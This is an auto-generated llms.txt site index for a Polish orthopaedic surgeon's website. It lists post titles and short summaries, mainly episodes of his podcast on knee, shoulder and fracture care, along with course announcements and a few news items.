Wygenerowany przez All in One SEO v4.9.2, jest to plik llms.txt używany przez LLM do indeksowania witryny. # Michał Drwięga - lekarz ortopeda Tu znajdziesz informacje dotyczące działalności Michała Drwięgi. To również strona domowa bloga i podcastu Ortopedia Moja Pasja ## Sitemaps - [XML Sitemap](https://www.drmick.pl/sitemap.xml): Contains all public & indexable URLs for this website. ## Wpisy - [Czy trzeba usuwać zespolenie? | OMP#068](https://www.drmick.pl/czy-trzega-usuwac-zespolenie-omp068/) - Śruby, płytki, gwoździe w kości po złamaniu – usunąć czy zostawić? Wyjaśniam, kiedy usunięcie zespolenia ortopedycznego jest konieczne, a kiedy niepotrzebne. - [Artrofibroza po operacji | OMP#067](https://www.drmick.pl/artrofibroza-po-operacji-omp067/) - W tym odcinku podcastu Ortopedia – Moja Pasja omawiam jedno z bardziej wymagających i kontrowersyjnych powikłań pooperacyjnych – artrofibrozę. Czym jest, dlaczego powstaje i jak jej zapobiegać? Jakie znaczenie ma termin operacji i psychika pacjenta? Czy leki wpływające na układ współczulny mogą działać ochronnie? - [Historia mięśnia piersiowego | OMP#066](https://www.drmick.pl/historia-miesnia-piersiowego-omp066/) - Odcinek sześćdziesiąty szósty podcastu Ortopedia – Moja Pasja! Historia mięśnia piersiowego Mięsień piersiowy. Duży mięsień na klatce piersiowej, z którego mężczyźni są zawsze dumni. W końcu to mięsień lustrzany – to znaczy pięknie prezentuje się oglądany przed lustrem 😀 Do jego zerwania dochodzi praktycznie zawsze w ten sam sposób. Otóż w trakcie wyciskania sztangi na ławeczce płaskiej. Poznaj historie Piotra, który doznał właśnie takiej kontuzji. - [Czy można wymienić łąkotkę? | OMP#065](https://www.drmick.pl/czy-mozna-wymienic-lakotke-omp065/) - Łąkotka jest bardzo ważną strukturą stawu kolanowego. Urazy i przeciążenia kolana doprowadzają do jej uszkodzenia, co w rezultacie może spowodować zmiany zwyrodnieniowe stawu, ból, wysięki, ograniczenia w aktywności, a wreszcie konieczność wymiany stawu na protezę. - [Czy obojczyk zawsze się zrasta? Historia nie tylko moja. | OMP#064](https://www.drmick.pl/czy-obojczyk-zawsze-sie-zrasta-historia-nie-tylko-moja-omp064/) - W wakacje, zawsze przypadków złamania obojczyka jest więcej, pomyślałem więc, że trzeba znowu poruszyć temat podejmowania decyzji o sposobie leczenia tego urazu. - [Granice naprawy łąkotki | OMP#063](https://www.drmick.pl/granice-naprawy-lakotki-omp063/) - Save the meniscus. Ratuj łąkotkę. Takie właśnie hasło przyświeca współczesnej ortopedii i medycynie sportowej. Kongresy są pełne instrukcji jak łąkotkę naprawić, kursy dla chirurgów skupiają się nad technikami jej szycia i rekonstrukcji, a firmy sprzętowe wymyślają co raz to nowsze i droższe systemy do zakładania szwów. Ścibolimy je i owijamy w błony kolagenowe, żeby tylko chciały się wygoić. Ale czy zawsze się da? Czy zawsze jest sens? - [Kaletka. Zapalenie kaletki | OMP#062](https://www.drmick.pl/kaletka-zapalenie-kaletki-omp062/) - Kaletka, gdzie by nie była, spełnia bardzo ważną funkcję, ale może się zapalić. Czy to kaletka podbarkowa, krętarza większego, przedrzepkowa czy głęboka Achillesa może stanowić problem, a jej leczenie będzie uzależnione będzie od przyczyny powstania zapalenia. Ucisk, przeciążenie, problem metaboliczny, czy uszkodzenie mechaniczne? Posłuchaj, jak podejść do tematu zapalenia konkretnej kaletki, kiedy można myśleć o leczeniu zachowawczym, a kiedy pomoże tylko operacja! - [Ile kosztuje OPERACJA - na przykładzie rekonstrukcji więzadła krzyżowego ACL/WKP - Odkrywamy karty! | OMP#061](https://www.drmick.pl/ile-kosztuje-operacja-na-przykladzie-rekonstrukcji-wiezadla-krzyzowego/) - W najnowszym odcinku podcastu rozwiewam niepewności dotyczące cen zabiegów ortopedycznych. Dostarczam konkretne informacje na temat składowych kosztów operacji. Omawiam czynniki wpływające na wycenę i porównuję proces do zrozumiałych przykładów z życia codziennego. - [Do czego ja - ortopeda, mogę przydać się fizjoterapeucie? | OMP#060](https://www.drmick.pl/do-czego-ja-ortopeda-moge-przydac-sie-fizjoterapeucie/) - Odcinek sześćdziesiąty podcastu Ortopedia – Moja Pasja! Do czego ja – ortopeda, mogę przydać się fizjoterapeucie? Linki: Kanał YouTube Doktor Mick Szkolenie : ANATOMIA I CHIRURGIA BARKU DLA FIZJOTERAPEUTÓW Ortopedia Moja Pasja – podcast w formie audio i wideo Podcast udostępniam na wszelakich aplikacjach podcastowych typu iTunes (i wszystich które korzystają z katalogu iTunes) oraz Spotify, Google Podcast, Stitcher, iHeart Radio, Android Oglądając wideo - [Zabezpiecz kasę na leczenie - wywiad z agentem ubezpieczeniowym | OMP#059](https://www.drmick.pl/zabezpiecz-kase-na-leczenie/) - Jest zima, zbliżają się wyjazdy narciarskie, a to niesie za sobą pewne ryzyka. Dlatego też w porę warto pomyśleć o ubezpieczeniu! - [Wyprostowaliśmy nogi! - wywiad z pacjentką | OMP#058](https://www.drmick.pl/wyprostowalismy-nogi-wywiad-z-pacjentka-omp058/) - O osteotomiach, czyli o zaplanowanym przecięciu kości w celu zmiany geometrii kończyny powiedziałem już całkiem sporo. Dzisiaj zapraszam do wysłuchania wywiadu z pacjentką, która takie leczenie przeszła. U pani Magdy wyprostowaliśmy obie nogi w czasie jednego zabiegu i dzisiaj wspaniałomyślnie przybliży nam swoją historię oraz całą drogę, którą przeszła. - [Nie chcę operować więzadła krzyżowego przedniego | OMP#057](https://www.drmick.pl/nie-chce-operowac-krzyzowego-omp057/) - NIe chcę operować więzadła krzyżowego przedniego - [Krzywe nogi - 8 powodów do ich wyprostowania | OMP#056](https://www.drmick.pl/krzywe-nogi-8-powodow-do-ich-wyprostowania-omp056/) - Omawiam jakie są powody aby prostować "krzywe nogi" - [Wyhoduj sobie chrząstkę | OMP#055](https://www.drmick.pl/wyhoduj-sobie-chrzastke-omp055/) - Chcesz wiedzieć, jak naprawić chrząstkę w stawie? Zapraszam do wywiadu z Konradem Wasylewskim. - [Złamanie zmęczeniowe - czekanie boli najbardziej | OMP#054](https://www.drmick.pl/zlamanie-zmeczeniowe-czekanie-boli-najbardziej-omp054/) - Złamanie zmęczeniowe to paskudna przypadłość, wyłączająca zawodnika z treningów na wiele tygodni a nawet miesięcy. Warto wiedzieć jak się jej ustrzec, a w razie wystąpienia wiedzieć co dokładnie należy zrobić. - [Torbiel Bakera | OMP#053](https://www.drmick.pl/torbiel-bakera-omp053/) - Torbiel Bakera może pojawić się w dole podkolanowym, czyli z tyłu kolana. Jest raczej objawem choroby, niż chorobą samą w sobie, zatem aby skutecznie zlikwidować torbiel, należy naleźć przyczynę wewnątrz stawu lub rozważyć przyczyny pozastawowe. - [Fizjoterapia po osteotomii - wywiad z Piotrem Piaskowskim | OMP#052](https://www.drmick.pl/fizjoterapia-po-osteotomii-wywiad-omp052/) - Jak wyprostować szpotawą kończynę omówiłem w OMP#047. Teraz omówimy z gościem Piotrem Piaskowskim, jak wygląda fizjoterapia po osteotomii. - [Jak oceniam wystąpienia | OMP#051](https://www.drmick.pl/jak-oceniam-wystapienia-omp051/) - Kryteria oceny wystąpień i wykładów mogą być różne. Moja ocena cudzych wykładów jest uzależniona od mojej wiedzy. Co Ty na to? - [Urazy mięśni | OMP#050](https://www.drmick.pl/urazy-miesni-omp050/) - Czy to na siłowni, na boisku, na weselu czy przy próbie podbiegnięcia do autobusu możesz poczuć nagły ból niespodziewanie napiętego mięśnia. Wydaje Ci się, że to skurcz… - ale czy na pewno? - [Osteochondritis Dissecans | OMP#049](https://www.drmick.pl/osteochondritis-dissecans-omp049/) - Ból kolana u dziecka / młodej osoby po wysiłkach? Ból który trudno zlokalizować w obrębie kolana? A może zablokowanie stawu i brak możliwości doprostowania? - [Zablokowanie kolana = "rączka od wiadra"? | OMP#048](https://www.drmick.pl/zablokowanie-kolana-raczka-od-wiadra-omp048/) - Czy to w sporcie, czy na śliskim chodniku czy na mokrej podłodze, możesz się poślizgnąć, potknąć, wywrócić i doznać urazu stawu kolanowego, w wyniku którego kolano nagle przestaje się prostować. Czasem ból jest na tyle duży, że nie możesz ruszyć kolanem a czasem nawet specjalnie nie boli, ale i tak wyprostować się nie da. Możemy powiedzieć, że kolano się zablokowało ! - [Co to jest OSTEOTOMIA? | OMP#047](https://www.drmick.pl/co-to-jest-osteotomia-omp047/) - Deformacje w obrębie kończyn mogą być wrodzone, mogą powstawać wraz ze starzeniem się organizmu lub mogą być pourazowe. Deformacja kości powoduje nieprawidłowe przenoszenie obciążenia i stopniowo doprowadza do destrukcji konkretnego stawu. Co robić?!? - [Jak robi się / rekonstruuje więzadło krzyżowe przednie? | OMP#046](https://www.drmick.pl/jak-robi-sie-rekonstruuje-wiezadlo-krzyzowe-przednie-omp046/) - W gabinecie, kiedy tylko kieruję kogoś na operację rekonstrukcji więzadła krzyżowego przedniego, od razu pada pytanie o to, jak przebiega zabieg. No i jak tu wybrąć z sytuacji? Opowiedzenie pacjentowi jak cały zabieg będzie wyglądał zajmuje sporo czasu, a w czasie konsultacji czas mamy limitowany. A tu jeszcze trzeba wszystkie dokumenty wystawić. W tym odcinku pacjent może posłuchać sobie, jak taki zabieg będzie wyglądał. Omawiam ogólnie jakie kroki trzeba po kolei wykonać aby zabieg przeprowadzić, ale przybliżam również techniki poszczególnych etapów. Pod koniec nagrania jest również coś o konieczności (lub jej braku) usuwania implantów oraz o czasie takiej operacji. - [Jak szybko goi się krzyżowe? | OMP#045](https://www.drmick.pl/jak-szybko-goi-sie-krzyzowe-omp045/) - Gratka dla każdego po rekonstrukcji więzadła krzyżowego przedniego! Czy wiesz ile potrzeba czasu aby wygoić przeszczep więzadła krzyżowego? - [Trudne decyzje i stres przy stole operacyjnym | OMP#044](https://www.drmick.pl/trudne-decyzje-i-stres-przy-stole-operacyjnym-omp044/) - Zapraszam na wywiad "Managera z głową" z Ortopedą. Mówimy o zarządzaniu i stresie przy stole operacyjnym. - [Strzelanie w stawach - czy to mowa stawów? | OMP #043](https://www.drmick.pl/sztrzelanie-w-stawach-omp-043/) - Może się wydawać, że jak czasem coś przeskoczy w stawie to nic się nie stanie. Ale odgłosy wydobywające się ze stawów mogą oznaczać konkretne schorzenie wymagające leczenie. - [Bark zamrożony - choroba stawu czy głowy? | OMP#042](https://www.drmick.pl/bark-zamrozony/) - Omawiam problematykę "Barku zamrożonego" czyli "Frozen shoulder" To beznadziejna choroba, bo nie znamy jej przyczyny i to utrudnia leczenie. Jedyna pociecha, że prędzej czy później patologia ustępuje sama. - [Basen i pływanie - zdrowie czy urazy? | OMP #041](https://www.drmick.pl/basen-i-plywanie-zdrowie-czy-urazy-omp-041/) - Wywiad z trenerką pływania Pauliną Certą. Sprawdź, dlaczego Twoje dziecko powinno pływać. - [Gojenie tkanek - trening, dieta, czynniki | OMP#040](https://www.drmick.pl/gojenie-tkanek-trening-dieta-czynniki-omp040/) - Odcinek czterdziesty podcastu Ortopedia – Moja Pasja! Gojenie tkanek – trening, dieta, czynniki W naszym organizmie często dzieje się tak, że albo coś się nie chce goić i chcemy zrobić coś, aby gojenie wreszcie nastąpiło, rozpoczęło się, albo co prawda goi się, ale chcielibyśmy to gojenie przyspieszyć lub jakoś poprawić jego jakość. Czy coś takiego jest w ogóle możliwe? Będzie o tym dlaczego tkanki się uszkadzają - [Dlaczego bark boli od góry? Przeciążenie stawu barkowo-obojczykowego | OMP#039](https://www.drmick.pl/dlaczego-bark-boli-od-gory-przeciazenie-stawu-barkowo-obojczykowego-omp039/) - Odcinek dwudziesty szósty podcastu Ortopedia – Moja Pasja! Dlaczego bark boli od góry? Bark może boleć w różnych miejscach. Ból centralnie od góry, który możesz wywołać naciskiem jak i ruchami ręką ponad głową może świadczyć o przeciążeniu stawu barkowo-obojczykowego. W tym odcinku dowiesz się: U kogo może dojść do takiego przeciążenia? Jak nazwiemy taką patologię? Jaka jest jej etiologia? Jakie dokładnie będą objawy? - [Poranne bóle stawów | OMP#038](https://www.drmick.pl/poranne-bole-stawow-omp038/) - Poranne bóle stawów dotyczą wielu ludzi. Właśnie o tym rozmawiałem w telewizji śniadaniowej "Pytanie na Śniadanie". - [Skręcenie stawu skokowego | OMP#037](https://www.drmick.pl/skrecenie-stawu-skokowego-omp037/) - Skręcenie stawu skokowego to chleb powszedni na dyżurach. Niby normalka a jednak wiele jest wątpliwości jak postępować. Robić? RTG a może USG? Czy RTG jest szkodliwe? Gipsować czy założyć stabilizator? Jak długo to leczyć? - [Ponowne zerwanie więzadła krzyżowego! 8 punktów do sprawdzenia przed kolejną rekonstrukcją ACL | OMP #036](https://www.drmick.pl/znowu-zerwalem-krzyzowe-omp036/) - Uwielbiasz sport i spotyka Cię nieszczęście – uszkadzasz więzadło krzyżowe przednie – ACL. Więzadło jest naprawiane, długo się rehabilitujesz, wracasz do sportu, mija kilka miesięcy i okazuje się, że albo więzadło nie działa, albo znów doznajesz urazu! I co teraz? Dlaczego tak się stało? I co teraz zrobić? - [Kolano MUSI się prostować! | OMP#035](https://www.drmick.pl/kolano-musi-sie-prostowac-omp035/) - Z różnych powodów kolano może nie chcieć się prostować. Niezależnie od przyczyny brak wyprostu wpływa destrukcyjnie na kolano. Będzie o przyczynach braku wyprostu, destrukcji i jej zapobieganiu. - [LHBT - czym się różni od LGBT? | OMP#034](https://www.drmick.pl/lhbt-czym-sie-rozni-od-lgbt-omp034/) - Dla mnie te skróty różnią się jedną literką. W ortopedii LHBT to ścięgno głowy długiej bicepsa. W odcinku omawiam budowę mięśnia, odmienności budowy mięśnia dwugłowego oraz możliwe patologie tego ścięgna. - [Zrobiłeś USG kolana po urazie? - Straciłeś KASĘ! |OMP#033](https://www.drmick.pl/zrobiles-usg-kolana-po-urazie-straciles-kase-omp033/) - Miałeś uraz kolana i zrobiłeś USG. NO I PO CO? - [Obrąbek, SLAP & more | OMP #031](https://www.drmick.pl/obrabek-slap-more/) - Wtajemniczeni w anatomie i patologie barku domyślają się, że tytuł dzisiejszych rozważań zapowiada temat dotyczący stawu ramiennego. Bo choć obrąbek znajdziemy również w biodrze, to tajemniczy skrót SLAP dotyczy wyłącznie stawu ramiennego. Tak więc dziś o kolejnej patologii barku. Komu ona się przydarza, jakie są objawy, jak ją diagnozować i leczyć, a przede wszystkim jak jej uniknąć? - [Osteopatia, czyli co Brad Pitt ma wspólnego z dyskopatią? | OMP#032](https://www.drmick.pl/osteopatia/) - Czy osteopaci to szamani? Jaka jest różnica między osteopatią a fizjoterapią? - [Powikłania po artroskopii kolana i rekonstrukcji krzyżowego | OMP #030](https://www.drmick.pl/powiklania-po-artroskopii-kolana-i-rekonstrukcji-krzyzowego/) - Każda operacje może wiązać się z powikłaniami. O tych powikłaniach powinien wiedzieć każdy pacjent, który przygotowywany jest do artroskopii stawu kolanowego i rekonstrukcji więzadła krzyżowego przedniego. - [Jak przyśpieszyć zrost kości? EXOGEN i nie tylko | OMP #025](https://www.drmick.pl/jak-przyspieszyc-zrost-kosci-exogen/) - W odpowiedzi na pytanie dowiesz się się, że przede wszystkim należy nie opóźniać zrostu. Usłyszysz o diecie i o paleniu papierosów. Potem przechodzę do tego co może ten proces przyśpieszyć. Będzie o BMP, PRP, Exogen, Fizykoterapii, Mumio, cytrynie, skorupkach jajek i innych naturalnych sposobach pobudzania zrostu kości. - [Gips do kąpania / pływania? Oczywiście! | OMP #029](https://www.drmick.pl/gips-do-kapania-plywania/) - Złamana ręka i założony gips? Wraz z moim rozmówcą zdradzamy tajemnicę, jak nie stracić wakacji i przyjemności kąpieli z powodu unieruchomienia gipsowego! Jest przecież gips do pływania i kąpania! - [Zerwanie bicepsa w części dalszej | OMP #028](https://www.drmick.pl/zerwanie-bicepsa-w-czesci-dalszej-omp-028/) - Dziś o zerwaniu ścięgna mięśnia dwugłowego ramienia w części dalszej, czyli przyczepu do kości promieniowej. Znajdziesz trochę statystyki, epidemiologii, anatomii i biomechaniki. Opowiadam o objawach zerwania mięśnia oraz możliwościach jego leczenia. Nie zabraknie słowa o możliwych powikłaniach. - [Ławeczka, sztanga i urywasz mięsień piersiowy większy |OMP #027](https://www.drmick.pl/laweczka-sztanga-uraz-miesien-piersiowy/) - Wyciskanie na ławeczce to główny mechanizm urazu mięśnia piersiowego większego. Dowiesz się jak go uniknąć i co zrobić gdy już się wydarzy. - [OMP #009: Zwichnięcie rzepki - pierwszorazowe, ostre u dziecka](https://www.drmick.pl/zwichniecie-rzepki-u-dziecka-ostre-pierwszorazowe/) - W odcinku dziewiątym podcastu podejmuję temat ostrego, pierwszorazowego zwichnięcia rzepki u dziecka. To niezmiernie częsta przypadłość, często źle leczona, a powodująca dramatyczne zmiany w obrębie stawu rzepkowo-udowego później, w życiu dorosłego człowieka. Omawiam anatomię, mechanikę, czynniki predysponujące, objawy, badanie i scenariusze postępowania po zwichnięciu. - [Rehabilitacja po rekonstrukcji WKP / ACL - wywiad z Marcinem | OMP #022](https://www.drmick.pl/omp-022-rehabilitacja-po-rekonstrukcji-wkp-acl-wywiad-z-marcinem/) - Z gościem - fizjoterapeutą Marcinem Plenzlerem rozmawiam o podejściu do rehabiltacji po rekonstrukcji więzadła krzyżowego przedniego. - [OMP #020: Łąkotka - jak leczyć? Jakie są zalecenia po operacji?](https://www.drmick.pl/lakotka-leczenie-zalecenia-po-operacji/) - W tym odcinku omawiam możliwe rodzaje uszkodzenia łąkotek. "Rączka od wiadra", horyzontalne i zwyrodnieniowe, typu "języczka", uszkodzenie korzenia, radialne oraz Ramp lesion. Szczególnie cenne są informacje na temat możliwego postępowania po operacji. - [Złamanie obojczyka - operować czy gipsować ? | OMP #026](https://www.drmick.pl/zlamanie-obojczyka-operowac-czy-gipsowac/) - Omawiam budowę i funkcję obojczyka oraz charakterystyczne cechy złamania zarówno u dzieci jak i dorosłych. Ponieważ sam miałem złamany obojczyk, przedstawiam wam punkt widzenia ortopedy oraz punkt widzenia pacjenta. Dowiesz się, co sam zrobiłem kiedy złamałem obojczyk. - [OMP #019: Łąkotka - budowa i funkcja](https://www.drmick.pl/lakotka-budowa-i-funkcja/) - Łąkotka - tłumaczę co to za struktura, gdzie ją można znaleźć, jaka jest jej funkcja oraz jak i kiedy może się uszkodzić. - [Jak zeszyć RAMP lesion? | Masterszew #017](https://www.drmick.pl/jak-zeszyc-ramp-lesion-masterszew-017/) - W tym odcinku znajdziesz omówienie uszkodzenia RAMP lesion oraz technikę szycia łąkotki z takim uszkodzeniem. - [Zwichnięcie stawu ramiennego (barku) - pierwszorazowe | OMP #021](https://www.drmick.pl/zwichniecie-stawu-ramiennego-barku-pierwszorazowe/) - Upadek może spowodować zwichnięcie stawu ramiennego. Prawidłowe leczenie jest kluczowe ,bo u młodych osób dochodzi do nawrotu zwichnięcia w ponad 72%! - [Szycie łąkotki ALL-INSIDE | Masterszew #013](https://www.drmick.pl/szycie-lakotki-all-inside/) - Przedstawiam technikę szycia łąkotki ALL-INSIDE. - [Ostroga piętowa czy rozcięgno podeszwowe? Co boli w pięcie? | OMP #024](https://www.drmick.pl/ostroga-pietowa-czy-rozciegno-podeszwowe-co-boli-w-piecie/) - Któż nie słyszał o ostrodze piętowej. Z nieznanych przyczyn, jest to bardzo medialna nazwa choroby, która jednak nie występuje tak często. Nie mniej jednak pięta może boleć, pozostaje tylko pytanie dlaczego? - [Jak doszyć KORZEŃ łąkotki |Masterszew #014](https://www.drmick.pl/jak-doszyc-korzen-lakotki/) - Prezentuję kolejną z technik szycia łąkotki - tym razem sposób szycia korzenia łąkotki bocznej. - [Szycie łąkotki INSIDE-OUT | Masterszew #012](https://www.drmick.pl/szycie-lakotki-inside-out/) - Prezentuję kolejną z technik szycia łąkotki - technikę INSIDE-OUT Technikę pokazuję na modelu oraz w naturalnych warunkach czyli w trakcie artroskopii kolana. Technika prosta, pozwalająca na zeszycie większości uszkodzeń podłużnych łąkotki ! - [Szycie łąkotki OUTSIDE-IN | Masterszew#011](https://www.drmick.pl/szycie-lakotki-outside-in/) - W Masterszew #011 prezentuję jak wygląda szycie łąkotki techniką OUTSIDE-IN. Technikę pokazuję na modelu, na preparacie cadaverowym ludzkiego kolana oraz w naturalnych warunkach czyli w trakcie artroskopii kolana. - [OMP #018: Zwichnięcie stawu barkowo-obojczykowego](https://www.drmick.pl/zwichniecie-stawu-barkowo-obojczykowego/) - Co może stać się po upadku na bark? Na czym polega objaw "klawisza" i wreszcie, co zainspirowało mnie do nagrania podcastu o zwichnięciu stawu barkowo-obojczykowego? - [OMP #017: Wpływ wapnia i witaminy D na kości](https://www.drmick.pl/wplyw-wapnia-i-witaminy-d-na-kosci/) - Zima, upadki, złamania biodra i nadgarstków? A może dieta bogata w wapń i witaminę D i szczęśliwa aktywność bez urazów? Dlaczego dla kości ważny jest zarówno wapń jak i witamina D? - [OMP #016: Niestabilność rzepki - jak to leczyć?](https://www.drmick.pl/niestabilnosc-rzepki-jak-to-leczyc/) - Niestabilność rzepki to poważna dysfunkcja stawu kolanowego. Choroba zazwyczaj zaczyna się już w dzieciństwie ale problem dotyczy również, a może w szczególności dorosłych. Co to za przypadłość? Skąd się bierze? Jak to leczyć? O tym właśnie dzisiaj opowiem. - [OMP #015: Wydłużanie kończyn - fakty i … fakty.](https://www.drmick.pl/omp015-wydluzanie-konczyn/) - Wydłużanie kończyn to tylko jeden z elementów możliwości korekcji deformacji kończyn - zarówno kończyn dolnych jak i górnych. Czy każdemu możemy zaproponować wydłużanie kończyny? - [OMP #014: Jak przygotować się na narty? Kijki, wiązania i upadki!](https://www.drmick.pl/jak-przygotowac-sie-do-nart/) - Przed wyjazdem na narty warto się przygotować nie tylko pod kątem fizycznym. W profilaktyce urazów nie mniej ważne jest umiejętne posługiwanie się kijkami ! (wiedziałeś?) oraz ustawienie wiązań narciarskich (jak to sprawdzić?). Jeśli do tego opanujesz sztukę upadania, to "Białe Szaleństwo" może wcale nie być takim szaleństwem ;) - [OMP #013: Uszkodzenie mięśnia czworogłowego uda](https://www.drmick.pl/omp-013-uszkodzenie-miesnia-czworoglowego-uda/) - W tym odcinku przybliżam anatomię mięśnia czworogłowego oraz omawiam możliwe kontuzje i sposoby radzenia sobie z nimi. - [OMP #012: Artroza kolana. Zmiany zwyrodnieniowe przedziału przyśrodkowego.](https://www.drmick.pl/omp-012-artroza-kolana-zmiany-zwyrodnieniowe-przedzialu-przysrodkowego/) - Artroza, czyli zmiany zwyrodnieniowe przedziału przyśrodkowego stawu kolanowego, to poważne rozpoznanie. W wybranych przypadkach kolano można uratować a w innych nie. - [OMP #011: Co boli po wewnętrznej stronie kolana?](https://www.drmick.pl/omp-011-co-boli-po-wewnetrznej-stronie-kolana/) - W tym odcinku odpowiadam na pytanie: Co boli po wewnętrznej stronie kolana? Omawiam przyczyny urazowe, przeciążeniowe i takie bez konkretnej przyczyny. - [OMP #010: Wydruk 3D a ortopedia](https://www.drmick.pl/wydruk-3d-a-ortopedia/) - Jeśli geometria kończyny jest zaburzona to musimy ją poprawić. Wirtualne zaplanowanie operacji oraz wydrukowanie 3D specjalnych narzędzi do wykonania osteotomii sprawia, że zabiegi stają się precyzyjne, powtarzalne, bezpieczniejsze i bardziej skuteczne. - [OMP #006: Czym zajmuje się ORTOPEDA?](https://www.drmick.pl/omp-006-czym-zajmuje-sie-ortopeda/) - Ortopeda Traumatolog - czym sie zajmuje? Co robi rezydent a jak wygląda praca specjalisty? Przegląd definicji i własny punkt widzenia. - [OMP #007: Artroskopia biodra - artroskop, przygotowanie, procedura i powikłania.](https://www.drmick.pl/omp-007-artroskopia-biodra-artroskop-przygotowanie-procedura-i-powiklania/) - W tym odcinku podejmuję temat artroskopii stawu biodrowego. Omawiam krótko co to jest artroskop i jak działa. Jak przygotowuje się pacjenta do artroskopii stawu biodrowego, jak przebiega cała procedura oraz jakie czyhają na pacjenta niebezpieczeństwa i powikłania. - [OMP #008: Dna, kwas moczowy i hiperurykemia](https://www.drmick.pl/omp-008-dna-kwas-moczowy-i-hiperurykemia/) - Ból stawu, zniszczona chrząstka, zapalone ścięgno, naderwany mięsień. Dlaczego tak się dzieje i to bez jakiegokolwiek urazu? Powodów może być pewnie wiele, ale z całą pewnością pod uwagę należy wziąć podwyższony poziom kwasu moczowego. Pewnie słyszałeś o chorobie królów jaką jest DNA MOCZANOWA? Posłuchaj, aby uchronić się przed bólem i zwyrodnieniami. - [Praktyczny kurs ortopedyczy w CEM - Artroskopia barku](https://www.drmick.pl/artroskopia-barku-kurs-cadaverowy/) - To zapowiedź kursu cadaverowego stawu ramiennego w Centrum Edukacji Medycznej. - [OMP #005 Jak leczyć biodro - przyczyny wewnątrzstawowe](https://www.drmick.pl/jak-leczyc-biodro-przyczyny-wewnatrzstawowe/) - W tym odcinku podcastu omawiam patologie wewnątrzstawowe, które nieprawidłowo leczone mogą zniszczyć całkowicie staw. Konflikt udowo-panewkowy, uszkodzenia obrąbka, uszkodzenia chrząstki, więzadła głowy i ciała wolne. - [OMP #004 Ból kolana u dziecka bez urazu cz.2](https://www.drmick.pl/bol-kolana-u-dziecka-cz-2/) - W drugiej części bólu kolana u dziecka bez urazu omawiam kolejne patologie - rzepka dwudzielna, łąkotka tarczowata oraz OCD. - [OMP #003 Ból kolana u dziecka bez urazu cz.1](https://www.drmick.pl/bol-kolana-u-dziecka-bez-urazu-cz1/) - Czy dziecko może boleć kolano samo z siebie? Czy mogą to być bóle wzrostowe? Kiedy obserwować a kiedy warto skonsultować się z lekarzem - [OMP #001 Zerwałem więzadło krzyżowe ACL i co dalej?](https://www.drmick.pl/jak-leczyc-wiezadlo-krzyzowe/) - W pierwszym odcinku Podcastu Ortopedia - Moja Pasja podejmuję temat problematyki podejmowania decyzji jaką musi podjąć ten kto zerwał więzadło krzyżowe przednie ACL / WKP - [OMP #002 Zwapnienie w barku / stożku rotatorów](https://www.drmick.pl/zwapnienie-w-barku-stozku-rotatorow/) - Mówię tutaj o zwapnieniu w obrębie barku / w obrębie stożka rotatorów, jako przyczynie bólu tego stawu. Omówię tu przyczyny, objawy, diagnostykę i potencjalne leczenie. - [OMP #000 "Ortopedia Moja Pasja" rozpoczynam nagrywać podcast](https://www.drmick.pl/podcast-ortopedia-moja-pasja/) - To pierwsze nagranie w podcaście pt. "Ortopedia Moja Pasja" . Opowiadam dlaczego nagrywam taką audycję, jaka jest geneza, co chcę osiągnąć i jaka ma być jej forma. Jest też o mnie słowo prywatnie. Słuchaj! - [Michał Drwięga dla Radia PLUS - Ból w barku](https://www.drmick.pl/radioplus_bark/) - Każdy z nas czasami może odczuwać ból barku. Dlaczego pojawia się ból barku po aktywnościach. Jesteście ciekawi jakie są tego przyczyny? A jakie objawy są niepokojące? Wiemy, że nie tylko poważne urazy mogą spowodować ból. Przeciążenie barku może pojawić się po weekendowej próbie nadrobienia tygodniowych zaległości w sporcie lub banalnie po pracach w domu, np. mycie okien. Czy taki ból leczyć samemu? A co kiedy jednak dojdzie do kontuzji - [Silna ekipa CMC na Międzynarodowym Poznańskim Kursie Chirurgii Kończyny Górnej](https://www.drmick.pl/silna-ekipa-cmc-na-miedzynarodowym-poznanskim-kursie-chirurgii-konczyny-gornej/) - dr Michał Drwięga, dr Piotr Zaorski, dr Krzesimir Sieczych oraz mgr Marcin Plenzler uczestniczyli w IX Międzynarodowym Poznańskim Kursie Chirurgii Kończyny Górnej połączonym z pierwszym spotkaniem Polskiego Towarzystwa Barku i Łokcia. Towarzyszyła im czwórka studentów z koła studenckiego przy Carolina Medical Center. Spotkanie było doskonałą okazją do nauki i wymiany doświadczeń. Omawiane były zarówno podstawowe - [Zapraszam: Podstawy chirurgii - kurs na preparatach nieutrwalonych](https://www.drmick.pl/kurs-na-nieutrwalonych/) - Gdzie: 4 czerwca 2016 | Warszawa | Centrum Szkoleniowe CEMED Szkolenie na preparatach nieutrwalonych skierowane jest głównie do lekarzy stażystów oraz rezydentów najwcześniejszych lat. Obejmuje zagadnienie przeprowadzania zabiegu operacyjnego, m. in. rozpoczęcia zabiegu operacyjnego – prawidłowej techniki wykonywania dojść przezskórnych, preparowania tkanek na tępo oraz na ostro, hemostazy z wykorzystaniem nici chirurgicznej – a także zakończenia, obejmującego technikę szycia warstwowego, zastosowanie różnych szwów chirurgicznych, - [W sobotę 4 czerwca 2016r odbył się kurs „Podstawy Chirurgii"](https://www.drmick.pl/kurs-podstawy-chirurgii/) - To pierwsze tego typu szkolenie z zakresu podstaw chirurgii, skierowane do lekarzy stażystów i rezydentów najwcześniejszych lat. Czegoś takiego nikt do tej pory nie organizował. Realistyczne szkolenie na preparatach nieutrwalonych obejmowało zagadnienia przeprowadzania zabiegu operacyjnego, m. in. rozpoczęcia zabiegu operacyjnego – prawidłowej techniki wykonywania dojść przezskórnych, preparowania tkanek na tępo oraz na ostro, hemostazy z wykorzystaniem nici chirurgicznej – a także zakończenia, obejmującego technikę szycia warstwowego, zastosowanie różnych - [Operacja deformacji kości przeprowadzonej z użyciem drukowanych przymiarów](https://www.drmick.pl/operacja-deformacji-kosci/) - Raport z przeprowadzonej operacji deformacji kości przeprowadzonej z użyciem drukowanych przymiarów oraz dedykowanych do deformacji płyt wyprodukowanych na za zamówienie. Koordynacja projektu Michał Drwięga, Operator Robert Śmigielski, Marek Molski, producent przymiarów i płyt ChM. - [Koszmar Konrada Niedźwiedzkiego. "Straszny moment"](https://www.drmick.pl/koszmar-konrada-niedzwiedzkiego-straszny-moment/) - Cztery miesiące temu wydawało się, że to już koniec kariery Konrada Niedźwiedzkiego. Polski panczenista miał poważny wypadek komunikacyjny i doznał rozległych obrażeń. O fatalnym zderzeniu z traktorem, operacji którą ja przeprowadziłem i dochodzeniu do pełni sprawności opowiedział w rozmowie z Aleksandrem Dzięciołowskim podczas zgrupowania kadry w niemieckim Inzell. ŹRÓDŁO: SPORTOWA NIEDZIELA AUTOR: ALEKSANDER 